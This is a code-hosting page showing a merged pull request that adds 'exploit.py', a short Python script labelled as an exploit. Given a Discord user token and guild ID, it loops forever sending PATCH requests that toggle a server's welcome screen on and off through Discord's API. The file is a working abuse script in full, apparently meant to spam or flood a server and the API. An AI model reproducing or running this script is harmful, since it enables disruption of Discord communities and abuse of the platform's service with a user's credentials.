Merge pull request #2 from VoidLSD/master
Rewrote the exploit in Python
This commit is contained in:
commit
8f60336361
23
exploit.py
Normal file
23
exploit.py
Normal file
@ -0,0 +1,23 @@
|
||||
import requests
|
||||
|
||||
token = input("Token: ")
|
||||
guild = input("Guild: ")
|
||||
url = f"https://discord.com/api/v8/guilds/{guild}/welcome-screen"
|
||||
|
||||
headers ={
|
||||
"authorization": token,
|
||||
"content-type": "application/json"
|
||||
}
|
||||
|
||||
payloadtrue = {
|
||||
"enabled": "true"
|
||||
}
|
||||
|
||||
payloadfalse = {
|
||||
"enabled": "false"
|
||||
}
|
||||
|
||||
while True:
|
||||
req = requests.patch(url, headers=headers, json=payloadtrue)
|
||||
req = requests.patch(url, headers=headers, json=payloadfalse)
|
||||
print("Request has been sent.")
|
Loading…
Reference in New Issue
Block a user